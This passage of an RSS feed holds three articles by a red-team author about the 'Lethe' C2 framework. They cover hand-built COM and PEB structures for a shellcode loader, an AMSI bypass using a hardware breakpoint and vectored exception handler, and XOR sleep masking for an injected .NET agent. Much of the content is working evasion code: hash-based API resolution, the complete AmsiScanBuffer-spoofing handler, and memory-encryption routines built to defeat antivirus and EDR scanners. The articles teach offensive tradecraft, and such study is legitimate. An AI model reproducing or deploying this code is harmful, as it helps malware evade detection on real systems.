begin.</p><p>To reach GetMethod_2, ghost_loader declares 75 placeholder slots in the vtable struct. These are not dead code. They are load-bearing padding. Remove any one of them and every slot after it shifts, and the call to GetMethod_2 lands on the wrong method.</p><p>ghost_loader.c, _TypeVtbl: 75 slots of padding to reach GetMethod_2</p><pre>struct _TypeVtbl {<br>    // IUnknown [0-2], IDispatch [3-6], Object [7-10], MemberInfo [11-...] ...<br>    HRESULT (__stdcall *QueryInterface)(void* this, REFIID riid, void** ppvObject);<br>    ULONG (__stdcall *AddRef)(void* this);<br>    ULONG (__stdcall *Release)(void* this);<br>    HRESULT (__stdcall *GetTypeInfoCount)(void* this, UINT* pctinfo);<br>    HRESULT (__stdcall *GetTypeInfo)(void* this, UINT, LCID, void**);<br>    HRESULT (__stdcall *GetIDsOfNames)(void* this, REFIID, LPOLESTR*, UINT, LCID, DISPID*);<br>    HRESULT (__stdcall *Invoke)(void* this, DISPID, REFIID, LCID, WORD, DISPPARAMS*, VARIANT*, EXCEPINFO*, UINT*);<br>    HRESULT (__stdcall *get_ToString)(void* this, BSTR* pRetVal);<br>    // 75 placeholder slots before the method we actually need<br>    HRESULT (__stdcall *Empty1)(void* this);<br>    HRESULT (__stdcall *Empty2)(void* this);<br>    // ... Empty3 through Empty75 ...<br>    HRESULT (__stdcall *GetMethod_2)(void* this, BSTR name, BindingFlags flags, _MethodInfo** pRetVal);<br>};</pre><p>This is what it looks like to enumerate an IDL by hand. Every method in the inheritance chain, in order, accounted for. The 75 empty slots represent every property getter, every inherited method, every interface method that System.Type exposes before GetMethod_2. They are the price of knowing exactly which slot you need.</p><h3>The NT structs ghost_loader also inlines</h3><p>The same approach applies to the NT internal structures ghost_loader uses for PEB walking. The PEB (Process Environment Block) is a Windows-internal structure that exists in every process’s memory. Among other things, it holds a linked list of all DLLs currently loaded in the process. Ghost_loader walks this list to find kernel32.dll without calling any Windows API function, because at startup it has no import table and no resolved functions yet, so the PEB walk is the only way to bootstrap. The PEB address is always reachable from the gs segment register at offset 0x60 on x64, which the CPU keeps populated automatically.</p><p>winternl.h ships with MinGW but deliberately omits some fields, DllBase and BaseDllName on LDR_DATA_TABLE_ENTRY, for example. Ghost_loader defines its own GHOST_LDR_ENTRY with those fields in the correct positions, and its own GHOST_PEB with the exact byte offsets of the fields it needs.</p><p>ghost_loader.c, custom PEB and LDR structs with exact byte-level offsets</p><pre>// Minimal x64 PEB: only the fields we need, with correct byte-level offsets.<br>//   0x018 Ldr (PPEB_LDR_DATA), the only field ghost_start() uses<br>typedef struct _GHOST_PEB {<br>    BYTE  InheritedAddressSpace;   // 0x000<br>    BYTE  ReadImageFileExecOptions;// 0x001<br>    BYTE  BeingDebugged;           // 0x002<br>    BYTE  BitField;                // 0x003<br>    BYTE  Padding0[4];             // 0x004, alignment to next pointer<br>    PVOID Mutant;                  // 0x008<br>    PVOID ImageBaseAddress;        // 0x010<br>    PPEB_LDR_DATA Ldr;             // 0x018<br>} GHOST_PEB, *PGHOST_PEB;<br><br>// Full LDR_DATA_TABLE_ENTRY, MinGW&#39;s winternl.h omits BaseDllName and DllBase.<br>typedef struct _GHOST_LDR_ENTRY {<br>    LIST_ENTRY InLoadOrderLinks;<br>    LIST_ENTRY InMemoryOrderLinks;<br>    LIST_ENTRY InInitializationOrderLinks;<br>    PVOID      DllBase;<br>    PVOID      EntryPoint;<br>    ULONG      SizeOfImage;<br>    ULONG      Padding;            // alignment to 8 bytes on x64<br>    UNICODE_STRING FullDllName;<br>    UNICODE_STRING BaseDllName;<br>} GHOST_LDR_ENTRY, *PGHOST_LDR_ENTRY;</pre><p>The padding field in GHOST_LDR_ENTRY is the kind of detail that can only come from looking at the real structure layout. MinGW&#39;s incomplete definition would put BaseDllName at the wrong offset, and the module walk would return garbage names.</p><h3>What this enables</h3><p>The practical result of doing all this by hand is that ghost_loader compiles cleanly under MinGW with no Windows SDK headers at all. The source file is self-contained. The cross-compilation pipeline in LSG, which compiles ghost_loader.c to a flat PIC binary on a Linux machine, works because the binary has no dependency on any Windows development library. Every interface definition it needs is in the file.</p><p>The secondary result is that ghost_loader has no import table. An import table is the section of a Windows executable that lists every DLL and every function name the program depends on, it is how the OS loader knows what to wire up before the code runs. Static analysis tools and AV engines read it immediately. Ghost_loader has none. Instead it finds DLLs via PEB walking and resolves individual function addresses by scanning each DLL’s export table for a DJB2 hash that matches the target function’s name. The function name strings, “CLRCreateInstance”, “VirtualAlloc”, “AmsiScanBuffer”, never appear anywhere in the shellcode binary. Only their hashes do, computed once at build time. The entire COM hosting sequence, CLRCreateInstance, GetRuntime, GetInterface, Start, GetDefaultDomain, Load_3, Invoke_3, happens through function pointers resolved this way at runtime.</p><h3>Lessons learned</h3><p>The main lesson is that COM is a specification, not a library. The Windows SDK provides convenient C++ wrappers around that specification, but the specification itself is public, documented, and stable. The vtable layout for ICLRMetaHost will not change because changing it would break every existing COM consumer. Reading the IDL and reproducing the struct is reproducible work with a known correct answer.</p><p>The second lesson is about the cost of correctness at this level. The 75-slot _TypeVtbl is not elegant. It is a direct consequence of needing to call a method at a high vtable index while working at the binary level with no compiler assistance. In a normal C++ project the compiler counts the slots. When you are writing the struct manually, you count them. Both arrive at the same layout. The C++ version is easier to write and harder to understand. The manual version is harder to write and impossible to misunderstand.</p><p>The third lesson is about what headers are. A header file is documentation that the compiler can read. When the header is not available, the documentation still is. The IDL, the SDK reference, the CoreCLR source, all of that describes exactly the same binary contract the header would have described. The header is not the interface. It is a representation of the interface. Ghost_loader writes its own representation of the same interface in the only form the cross-compilation environment accepts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4476a071c100" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[lethe_amsi_veh: Bypassing AMSI Without Patching amsi.dll (Part 3)]]></title>
            <link>https://medium.com/@q3alique/lethe-amsi-veh-bypassing-amsi-without-patching-amsi-dll-part-3-7a208ea0708d?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/7a208ea0708d</guid>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 19:18:48 GMT</pubDate>
            <atom:updated>2026-09-25T19:18:48.468Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Bypassing AMSI from inside shellcode, without touching a single byte of amsi.dll</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*camMOQxRHSYT-Mo7_TVkmQ.jpeg" /></figure><p>The previous article covered how lethargic_sleep keeps the managed agent&#39;s scratch buffer encrypted during sleep. That technique relies on a function pointer passed from ghost_loader to the managed agent at startup. But there is a step that happens before the agent ever runs. The CLR scans the assembly bytes through AMSI during Assembly.Load, before the entry method is invoked, before the agent exists. If that scan is not bypassed, nothing starts.</p><p>This is the story of lethe_amsi_veh: the hardware-breakpoint VEH handler that intercepts AmsiScanBuffer without writing a single byte to amsi.dll&#39;s pages. What the problem looks like when you are in native C shellcode instead of managed code, the approaches I considered, the one I chose, and what the x64 calling convention had to teach me before it worked correctly.</p><h3>The problem</h3><p>AMSI (Antimalware Scan Interface) is a Windows API that security products hook into. Before the CLR executes any .NET assembly loaded through Assembly.Load, it calls AmsiScanBuffer with the raw bytes. The call returns a result value. If that value is anything other than AMSI_RESULT_CLEAN (0), the load throws a security exception and the assembly never runs.</p><p>For a standalone agent or a traditional loader, handling this from managed code is straightforward. The agent patches AmsiScanBuffer early in its startup, before loading anything sensitive.</p><p>Ghost_loader changes the ordering. The AMSI scan fires during AppDomain.Load_3, which is the native COM call that hands the byte array to the CLR. The managed entry method is invoked by Invoke_3, which comes after Load_3 succeeds. The managed agent does not exist at the point where the scan runs. There is no hook in managed code that executes in time.</p><h3>Potential approaches</h3><h4>Inline patch</h4><p>The standard approach: overwrite the first bytes of AmsiScanBuffer so the function returns immediately with a clean result. Simple, widely documented, and it works.</p><p>It also modifies amsi.dll’s loaded pages. The PE section that contains AmsiScanBuffer is part of a legitimately mapped module. Memory scanners compare loaded module pages against the on-disk image. Modified bytes at the function&#39;s entry point are exactly what Defender&#39;s AMSI_Patch_T.B12 and similar detections look for. The patch works until it is checked, and it is always checked.</p><h4>Delegating to the managed agent</h4><p>Ghost_loader passes a -1 sentinel to the managed agent, which skips ApplyPatches(). That was a deliberate choice explained in the previous article. But even setting the sentinel aside, the timing is wrong. ApplyPatches() runs inside the entry method, which is called by Invoke_3. Invoke_3 only runs after Load_3 returns successfully. Load_3 is where the AMSI scan fires. You cannot patch a function from code that only runs if that function already passed.</p><h4>VEH with a hardware execute breakpoint</h4><p>Instead of modifying amsi.dll’s pages, install a Vectored Exception Handler and arm a hardware execute breakpoint on AmsiScanBuffer&#39;s address. The CPU generates an exception the moment execution reaches that address, before the function body runs. The handler intercepts the exception, writes the result, and redirects the instruction pointer past the function entirely. amsi.dll is not touched.</p><p>This is the approach Lethe uses.</p><h3>The constraints in shellcode</h3><p>In a normal process, this is about a dozen lines. In PIC shellcode, three constraints make it harder.</p><p>No plaintext strings. A standard implementation would call AddVectoredExceptionHandler, load amsi.dll, and call GetProcAddress(&quot;AmsiScanBuffer&quot;). All of those names are plaintext strings in the binary. Ghost_loader does not have plaintext strings. Every function and module name is resolved by DJB2 hash, computed at build time by lsg.py and substituted into the template before compilation. Nothing in the shellcode binary spells out AmsiScanBuffer.</p><p>Timing. The VEH handler and the DR0 breakpoint must be in place before Assembly.Load fires. In ghost_loader&#39;s execution order, AMSI setup happens after the payload is re-encrypted into g_ManagedBase and immediately before AppDomain.Load_3 is called. That is the only valid window.</p><p>Thread scope. AddVectoredExceptionHandler installs a handler process-wide, but Dr0 is per-thread. The breakpoint fires only on the thread that set it. Ghost_loader&#39;s main thread calls Assembly.Load. The CLR&#39;s AMSI scan runs on that same thread. Setting Dr0 on the ghost_loader thread is exactly right, and no other thread in the host process is affected.</p><h3>What lethe_amsi_veh actually does</h3><p>Setup happens in ghost_start(), right before Load_3. All function pointers are hash-resolved. The handler is registered first, then the thread context is read, modified, and written back.</p><p>ghost_loader.c | AMSI setup (before Assembly.Load)</p><pre>typedef PVOID (WINAPI *AVEH_t)(ULONG, PVECTORED_EXCEPTION_HANDLER);<br>typedef LONG  (WINAPI *NtGCT_t)(HANDLE, PCONTEXT);<br>typedef LONG  (WINAPI *NtSCT_t)(HANDLE, PCONTEXT);</pre><pre>HMODULE hNtdll = get_module({H_NTDLL});<br>AVEH_t  pAVEH  = (AVEH_t) get_proc(k32,    {H_ADDVECTOREDEXCEPTIONHANDLER});<br>NtGCT_t pNtGCT = (NtGCT_t)get_proc(hNtdll, {H_NTGETCONTEXTTHREAD});<br>NtSCT_t pNtSCT = (NtSCT_t)get_proc(hNtdll, {H_NTSETCONTEXTTHREAD});</pre><pre>HMODULE hAmsi = pLoadLibraryA(&quot;amsi.dll&quot;);<br>if (hAmsi &amp;&amp; pAVEH &amp;&amp; pNtGCT &amp;&amp; pNtSCT) {<br>    FARPROC pASB = get_proc(hAmsi, {H_AMSISCANBUFFER});<br>    if (pASB) {<br>        g_AmsiScanBuffer_VA = (PVOID)pASB;</pre><pre>        // Install VEH first in chain<br>        pAVEH(1, (PVECTORED_EXCEPTION_HANDLER)lethe_amsi_veh);</pre><pre>        // Arm hardware execute breakpoint on DR0 for this thread<br>        // -2 = GetCurrentThread() pseudo-handle<br>        // CONTEXT_DEBUG_REGISTERS (x64) = 0x100010<br>        CONTEXT ctx;<br>        ctx.ContextFlags = 0x100010;<br>        pNtGCT((HANDLE)(LONGLONG)-2, &amp;ctx);<br>        ctx.Dr0 = (DWORD64)(ULONG_PTR)pASB;<br>        // L0=1 (local enable), condition0=00 (execute), size0=00 (byte)<br>        ctx.Dr7 = (ctx.Dr7 &amp; ~(DWORD64)0x000F0003ULL) | (DWORD64)0x01;<br>        pNtSCT((HANDLE)(LONGLONG)-2, &amp;ctx);<br>    }<br>}</pre><p>When execution reaches AmsiScanBuffer, the CPU fires EXCEPTION_SINGLE_STEP. The VEH handler checks that the faulting address matches g_AmsiScanBuffer_VA, writes the result, and redirects execution.</p><p>ghost_loader.c | VEH handler</p><pre>static LONG NTAPI lethe_amsi_veh(struct _EXCEPTION_POINTERS* ep)<br>{<br>    if (ep-&gt;ExceptionRecord-&gt;ExceptionCode == (DWORD)0x80000004UL &amp;&amp;<br>        g_AmsiScanBuffer_VA != NULL &amp;&amp;<br>        (PVOID)ep-&gt;ContextRecord-&gt;Rip == g_AmsiScanBuffer_VA)<br>    {<br>        DWORD64 sp = ep-&gt;ContextRecord-&gt;Rsp;<br><br>        // Write AMSI_RESULT_CLEAN (0) into *result — the 6th argument<br>        DWORD* pResult = *(DWORD**)(sp + 0x30);<br>        if (pResult) *pResult = 0;<br><br>        // Return S_OK and jump past the function body<br>        ep-&gt;ContextRecord-&gt;Rax = 0;              // HRESULT S_OK<br>        ep-&gt;ContextRecord-&gt;Rip = *(DWORD64*)sp;  // return address<br>        ep-&gt;ContextRecord-&gt;Rsp = sp + 8;         // pop return address<br><br>        return (LONG)(-1);  // EXCEPTION_CONTINUE_EXECUTION<br>    }<br>    return (LONG)0;         // EXCEPTION_CONTINUE_SEARCH<br>}</pre><h3>Reading the stack at function entry</h3><p>The handler reads AMSI_RESULT* from sp + 0x30. That is not a guess or an offset found by trial and error. It follows directly from the x64 Windows calling convention at the moment the breakpoint fires.</p><p>The breakpoint fires at the very first byte of AmsiScanBuffer, before its prolog has executed. At that moment the stack looks like this:</p><pre>AmsiScanBuffer stack frame — at hardware breakpoint, before prolog <br>────────────────────────────────────────────────────────────────── <br>RSP+0x00 return address ← pushed by CALL, RIP will jump here <br>RSP+0x08 shadow space (arg1 RCX) caller-allocated, 32 bytes <br>RSP+0x10 shadow space (arg2 RDX) RSP+0x18 shadow space (arg3 R8) <br>RSP+0x20 shadow space (arg4 R9) RSP+0x28 arg5: HAMSISESSION amsiSession <br>RSP+0x30 arg6: AMSI_RESULT* result ← *(DWORD**)(sp + 0x30)</pre><p>The first four arguments arrived in registers (RCX, RDX, R8, R9). The caller allocated 32 bytes of shadow space for them on the stack before the call. Then it pushed the 5th and 6th arguments. The callee’s prolog has not run yet, so RSP has not moved. The layout is fixed by the ABI, not by any specific version of amsi.dll.</p><p>Dereferencing *(DWORD**)(sp + 0x30) gives the pointer the caller passed as the result parameter. Writing 0 to what it points to sets AMSI_RESULT_CLEAN in the caller&#39;s variable, before AmsiScanBuffer has executed a single instruction of its own.</p><h3>The connection to the previous article</h3><p>The -1 sentinel that ghost injection mode passes to the managed agent serves two purposes. The previous article explained the first: it routes ExecuteSleep to plain Thread.Sleep instead of the native callback, because the CFG constraint makes passing a shellcode function pointer unsafe. The second purpose is here.</p><p>In standalone EXE mode, the managed agent calls ApplyPatches() to handle AMSI. In ghost injection mode, ghost_loader already bypassed AMSI in native C before the CLR loaded. If the managed agent also patches, it creates a second instrumentation window inside amsi.dll after assembly load. Memory scanners pick up modified module pages. The -1 check prevents the double-patch.</p><p>ghost_loader.c | -1 sentinel tells the agent to skip managed patching</p><pre>pVar[0].vt    = VT_I8;<br>pVar[0].llVal = -1;   // ghost mode: AMSI already handled, skip ApplyPatches()</pre><p>advanced_agent.cs — the agent honours the sentinel</p><pre>bool ghostMode = (sleepPtr == -1);<br>if (ghostMode)<br>{<br>    _noSleepMask = true;<br>    sleepPtr     = 0;<br>    // ApplyPatches() intentionally not called —<br>    // ghost_loader handled AMSI before CLR load<br>}<br>_unmanagedSleep = sleepPtr;</pre><p>The two articles are describing the same protocol from different angles. The -1 value is not just a sleep-mode flag. It is ghost_loader telling the agent everything it did before handing over control: AMSI is already bypassed, sleep masking is not available, do not undo either of those decisions.</p><h3>Lessons learned</h3><p>The first lesson is the one I keep arriving at from different directions: fix a problem at the layer where the problem actually exists. AMSI fires during a native COM call in C code. Any managed-code bypass that works correctly is working because the scan already passed, which means it is not doing the bypass, it is doing something else. The right place to intercept the scan is native C, before the CLR ever gets the bytes.</p><p>The second lesson is about what hardware debug registers actually offer. The common framing is that they are harder to detect than inline patches. The more accurate framing is that they are absent from the threat model that memory scanners address. Memory scanners compare loaded module pages against on-disk images. DR0 through DR7 are CPU register state. They do not appear in any memory mapping. There is nothing to compare. The advantage is not that detection is harder. It is that the data structure a scanner would need does not exist.</p><p>The third lesson is about the calling convention. sp + 0x30 is not a magic number found by debugging. It is return address at RSP, 32 bytes of shadow space above it, 5th argument at RSP+0x28, 6th at RSP+0x30. The precision of that model is what makes the handler reliable. An imprecise understanding of &quot;arguments are on the stack somewhere&quot; would produce fragile offsets that break across compiler versions or calling patterns. A precise understanding of what the CPU state is at the exact instruction the breakpoint fires produces five lines that work everywhere.</p><p>The fourth lesson is specific to this combination of technique and context. A hardware breakpoint is per-thread, but AddVectoredExceptionHandler is process-wide. That asymmetry is not a limitation to work around. It is the feature that makes the technique clean inside a host process. The ghost_loader thread sets its own Dr0. The handler fires only on that thread, only when that thread calls AmsiScanBuffer. The hundred other threads in dllhost.exe are unaffected. The bypass is precisely scoped to the operation that needs it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7a208ea0708d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[lethargic_sleep (Part 2)]]></title>
            <link>https://medium.com/@q3alique/lethargic-sleep-7eca41e4f71c?source=rss-fab1a67c8ef9------2</link>
            <guid isPermaLink="false">https://medium.com/p/7eca41e4f71c</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[command-and-control]]></category>
            <category><![CDATA[edr-evasion]]></category>
            <dc:creator><![CDATA[Qalique]]></dc:creator>
            <pubDate>Mon, 14 Sep 2026 21:42:20 GMT</pubDate>
            <atom:updated>2026-09-25T18:44:35.211Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Lessons from building sleep masking for a managed C2 agent</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0zmR0PiBQfv8kHBNiF6yNQ.png" /></figure><p>The previous article covered how Wraith, Lethe’s native C agent, keeps its footprint quiet during sleep. Module stomping swaps the agent’s own bytes for a legitimate DLL while the warden thread stands watch, and indirect syscalls keep the call stack plausible. None of that translates cleanly to a managed agent loaded as shellcode into a foreign process, and the gap between the two taught me more than I expected about what sleep masking actually requires.</p><p>This is the story of lethargic_sleep: what the problem looks like for a .NET-over-shellcode agent, the approaches I considered, what I actually built, and the constraints that shaped each choice.</p><h3>The problem</h3><p>Wraith’s sleep masking works because Wraith is a native PE. It maps itself into a legitimate DLL’s space via module stomping, overwrites its own sections with the host DLL’s original bytes before going to sleep, and restores them on wake. A memory scanner sees only the host DLL during the sleep window. Elegant, and entirely unavailable to a managed agent.</p><p>Ghost_loader, Lethe’s position-independent shellcode stub, bootstraps the CLR via COM, loads a managed DLL from a private heap allocation through Assembly.Load, and calls the agent&#39;s entry method. The agent then runs entirely inside the CLR. When it sleeps, there are at least two things in memory that a scanner cares about:</p><ul><li><strong>g_ManagedBase</strong>: a private heap allocation in ghost_loader holding the decrypted managed DLL bytes. This is ghost_loader&#39;s scratch buffer. It&#39;s what got passed to Assembly.Load. The CLR already consumed it, but the bytes are still sitting there.</li><li>The CLR’s own private heap, where JIT-compiled native code lives. That one we don’t own and can’t safely touch.</li></ul><p>The second thing is largely out of reach. The first is ours. But even targeting just g_ManagedBase raises a question: how does native shellcode make a managed agent call back into it at sleep time?</p><h3>Potential approaches</h3><h4>Port the warden thread model</h4><p>The warden thread pattern works by parking a native thread that watches memory state during sleep. In theory, ghost_loader could do the same: spin a warden thread before handing control to the managed agent, have it XOR g_ManagedBase on sleep and restore on wake.</p><p>The problem is synchronisation. The warden thread needs to know when the agent is sleeping. From native C, there is no clean signal into the managed scheduler. You could poll on a shared flag, but the managed agent would have to set it, which means the agent needs to know about the warden thread, which means you’ve coupled the managed and native layers in a way that breaks the separation ghost_loader’s design relies on. More practically: Wraith’s warden thread knows exactly when to act because Wraith owns its own execution. A foreign-injected agent running inside dllhost.exe or svchost.exe does not.</p><h4>Encrypt and release the scratch buffer</h4><p>Another option: encrypt g_ManagedBase immediately after Assembly.Load returns, before the agent even starts running. If the decrypted bytes are only resident during the load phase, the sleep window problem largely disappears.</p><p>This is appealing for its simplicity, but incomplete. The bigger concern is not the sleep window itself. g_ManagedBase remains allocated and readable across the entire agent lifetime. An encrypt-on-load approach solves one timing window but leaves the allocation perpetually visible as an anomaly. The meaningful protection is keeping it ciphertext whenever the agent is not actively running, and that is exactly the sleep window.</p><h4>Callback from managed into native shellcode</h4><p>The cleanest option: the managed agent calls a native function pointer at sleep time. Ghost_loader passes lethargic_sleep as a function pointer to the agent&#39;s entry method. The managed side stores it and calls it via Marshal.GetDelegateForFunctionPointer whenever it would otherwise call Thread.Sleep. Native code encrypts g_ManagedBase, sleeps, decrypts on wake. The managed agent never knows the implementation details. It just calls the pointer.</p><p>This is the approach Lethe uses. The rest of this article is about what that actually looks like, and the constraint that made it more complicated than it sounds.</p><h3>The callback bridge</h3><p>Ghost_loader calls the agent’s entry method through the CLR’s COM interface:</p><pre>// ghost_loader.c<br>pVar[0].vt    = VT_I8;<br>pVar[0].llVal = (LONGLONG)lethargic_sleep;   // function pointer as I8<br>hr = pDisp-&gt;lpVtbl-&gt;Invoke(<br>    pDisp, dispid,<br>    &amp;IID_NULL, LOCALE_SYSTEM_DEFAULT,<br>    DISPATCH_METHOD,<br>    &amp;dp, NULL, NULL, NULL<br>);</pre><p>On the managed side, the entry method receives a long parameter. It stores it, and every subsequent call to ExecuteSleep either delegates to that pointer or falls through to Thread.Sleep:</p><pre>// advanced_agent.cs<br>private static long _unmanagedSleep = 0;<br><br>public static void {METHOD_NAME}(long sleepPtr)<br>{<br>    bool ghostMode = (sleepPtr == -1);<br>    if (ghostMode) { _noSleepMask = true; sleepPtr = 0; }<br>    _unmanagedSleep = sleepPtr;<br>    if (sleepPtr == 0 &amp;&amp; !ghostMode) { try { ApplyPatches(); } catch { } }<br>}</pre><pre>// sleep_mask.cs<br>public static void ExecuteSleep(int sleepTime)<br>{<br>    if (_unmanagedSleep != 0)<br>    {<br>        UnmanagedSleep f = (UnmanagedSleep)Marshal.GetDelegateForFunctionPointer(<br>            (IntPtr)_unmanagedSleep, typeof(UnmanagedSleep));<br>        f(sleepTime);<br>        return;<br>    }<br>    /* ... standalone EXE or plain Thread.Sleep paths ... */<br>}</pre><p>The function pointer travels as a raw 64-bit integer through the COM boundary. On wake, the managed delegate calls back into native shellcode. No shared memory, no inter-thread signalling, no coupling beyond the pointer itself.</p><h3>What lethargic_sleep actually does</h3><p>The implementation in ghost_loader is straightforward. Before sleeping, it XOR-encrypts g_ManagedBase in place with a polymorphic 8-byte key generated at build time. After sleeping, it decrypts. The sleep itself uses CreateTimerQueueTimer and WaitForSingleObject on an event, not Sleep or NtDelayExecution.</p><pre>void __stdcall lethargic_sleep(DWORD sleepTime)<br>{<br>    unsigned char key[] = { {XOR_KEY} };   // 8-byte per-build polymorphic key<br>    unsigned char* p = (unsigned char*)g_ManagedBase;<br>    DWORD oldProt = 0;<br><br>    // Encrypt: flip to RW, XOR, restore prior protection<br>    pVP2(p, g_ManagedSize, PAGE_READWRITE, &amp;oldProt);<br>    for (DWORD i = 0; i &lt; g_ManagedSize; i++) p[i] ^= key[i % 8];<br>    pVP2(p, g_ManagedSize, oldProt ? oldProt : PAGE_EXECUTE_READ, &amp;oldProt);<br><br>    // Sleep via timer queue — avoids Sleep/NtDelayExecution hooks<br>    HANDLE hEvent = pCEW(NULL, FALSE, FALSE, NULL);<br>    HANDLE hTimer;<br>    pCTQT(&amp;hTimer, NULL, (WAITORTIMERCALLBACK)pSE, hEvent,<br>          sleepTime, 0, WT_EXECUTEONLYONCE);<br>    pWFSO(hEvent, INFINITE);<br><br>    // Decrypt: flip to RW, XOR again, restore<br>    pVP2(p, g_ManagedSize, PAGE_READWRITE, &amp;oldProt);<br>    for (DWORD i = 0; i &lt; g_ManagedSize; i++) p[i] ^= key[i % 8];<br>    pVP2(p, g_ManagedSize, oldProt ? oldProt : PAGE_EXECUTE_READ, &amp;oldProt);<br><br>    pCH(hTimer); pCH(hEvent);<br>}</pre><p>A few details worth noting.</p><p><strong>All Windows API names are resolved by DJB2 hash</strong>, never as plaintext strings. pVP2, pCEW, pCTQT, pWFSO, pSE are hash-resolved function pointers set up during ghost_loader&#39;s initialisation phase. Nothing in the shellcode contains the string &quot;VirtualProtect&quot; or &quot;CreateWaitableTimer&quot;.</p><p><strong>The timer callback is </strong><strong>SetEvent</strong> (pSE). CreateTimerQueueTimer fires SetEvent(hEvent) when the delay expires. WaitForSingleObject then unblocks. This avoids any hook on Sleep or NtDelayExecution. EDRs that scan memory on sleep hook those entry points, not WaitForSingleObject on an arbitrary event handle.</p><p><strong>Protection is restored to whatever it was before, not hardcoded.</strong> oldProt carries the original page protection out of the first VirtualProtect call. If the page was PAGE_EXECUTE_READ, that&#39;s what it returns to. The fallback to PAGE_EXECUTE_READ only fires if VirtualProtect fails to return a value, which shouldn&#39;t happen but is safer than leaving pages RW indefinitely.</p><p><strong>The key is per-build.</strong> Lethe’s shellcode generator injects a random 8-byte key at compile time, replacing the {XOR_KEY} placeholder. Each generated payload has different key bytes.</p><h3>The RWX trampoline problem</h3><p>The callback bridge works well until you need call-stack spoofing. Lethe’s injectors use a call-stack spoofing stub to make the thread’s call chain look like it originated from inside a legitimate module. In the original design, that stub was a small trampoline allocated with VirtualAlloc(RWX): execute permissions so it can run code, write permissions so it can be written at runtime.</p><p>An anonymous RWX page in a process that has no business having one is exactly the kind of thing that EDR memory-integrity scanners flag. We were trading one detection vector (g_ManagedBase decrypted during sleep) for another (a permanent RWX region visible at all times).</p><p>The fix is LETHE_NATIVE_DLL: a compile-time flag that switches ghost_loader from the anonymous trampoline path to COM vtable calls via IDispatch::GetIDsOfNames and IDispatch::Invoke. The CLR&#39;s COM infrastructure is already present, the vtable lives inside a legitimately loaded module, and there is no anonymous RWX page.</p><p>But there is a cost: when using IDispatch, the first parameter to Invoke is a VARIANT array. Passing a raw function pointer through that interface works syntactically (set vt = VT_I8, set llVal to the pointer) but the IDispatch marshalling layer inside the CLR&#39;s COM shim does not guarantee that a 64-bit integer passed as VT_I8 survives to the managed side as a valid callable address. More concretely: a pointer passed through that path into a CFG-enforced process is not in the CFG bitmap, and any indirect call on it is fatal.</p><blockquote>CFG (Control Flow Guard) maintains a bitmap of valid indirect call targets. Shellcode allocated outside a legitimate module is not registered in that bitmap. Any attempt to call an unregistered address as a function pointer results in an immediate process termination. There is no exception and no opportunity to catch it.</blockquote><p>So the LETHE_NATIVE_DLL path cannot pass lethargic_sleep as a callable pointer. Instead, it passes -1:</p><pre>// ghost_loader.c — LETHE_NATIVE_DLL path (IDispatch)<br>pVar[0].vt    = VT_I8;<br>pVar[0].llVal = -1;    // sentinel: tells the managed agent it&#39;s in ghost mode</pre><p>The managed agent checks for this sentinel:</p><pre>bool ghostMode = (sleepPtr == -1);<br>if (ghostMode)<br>{<br>    _noSleepMask = true;   // skip .data/.reloc XOR — don&#39;t touch host sections<br>    sleepPtr     = 0;      // clear so _unmanagedSleep stays zero<br>}</pre><p>Ghost mode sets _noSleepMask = true, which routes all subsequent ExecuteSleep calls to Thread.Sleep. No masking at all, but also no RWX trampoline, no CFG violation, and no corruption of the host process&#39;s .data section. Ghost_loader already patched AMSI in native C before the CLR was loaded, so re-patching from managed code would only create a redundant instrumentation window inside amsi.dll that memory scanners pick up.</p><p>The XOR masking of g_ManagedBase, meanwhile, happens in ghost_loader itself, during its own housekeeping after Assembly.Load returns and the agent is running. The managed agent doesn&#39;t participate. Ghost_loader just keeps g_ManagedBase encrypted between invocations.</p><h3>The three sleep modes</h3><p>Putting it together, there are three distinct execution contexts, each with a different sleep strategy.</p><p><strong>Ghost injection</strong> - detected by the sleepPtr == -1 sentinel. Plain Thread.Sleep. Nothing gets masked. AMSI was already handled natively, avoiding host section corruption.</p><p><strong>Native callback</strong> - detected by a non-zero sleepPtr function pointer. lethargic_sleep is called via the stored pointer: timer queue sleep plus in-place XOR of g_ManagedBase. The scratch buffer is encrypted for the duration of the sleep window.</p><p><strong>Standalone EXE</strong> - sleepPtr is zero, not ghost mode, and the entry assembly is present. Managed sleep_mask.cs XORs the .data and .reloc sections, then SleepEx with a waitable timer. The agent&#39;s own PE sections are masked.</p><p>The standalone EXE mode is the closest analogue to Wraith’s approach. The agent owns its own PE sections and can XOR them freely. The native callback mode trades full section masking for the ability to run inside a foreign process. Ghost injection mode trades masking entirely for operational cleanliness.</p><h3>Lessons learned</h3><p>The main thing building this made clear: the sleep masking problem for a managed agent injected into a foreign process is not one problem. It is three problems that share a name.</p><p>Wraith’s warden thread works because Wraith is the only thing running in its process. It can coordinate its own sleep without worrying about concurrent threads touching the same memory. A managed agent inside dllhost.exe does not have that luxury. The host process has its own threads, its own sections, its own heap. Anything you XOR has to be yours, and you have to be certain it&#39;s yours.</p><p>The second lesson is about the cost of eliminating an RWX page. The LETHE_NATIVE_DLL path removes the anonymous trampoline, a genuine win for detection surface, but it invalidates the callback mechanism. You don&#39;t just change an implementation detail. You change what&#39;s architecturally possible. The sentinel value is the concession: a graceful degradation, not a workaround. Explicitly deciding that ghost injection mode gets no sleep masking, and encoding that decision in the protocol between loader and agent, is better than silently producing a CFG violation at runtime.</p><p>The third lesson is the one that applies everywhere: <strong>handle each execution context explicitly, and never let an optimisation in one context silently degrade another.</strong> The three-mode dispatch in ExecuteSleep exists because I 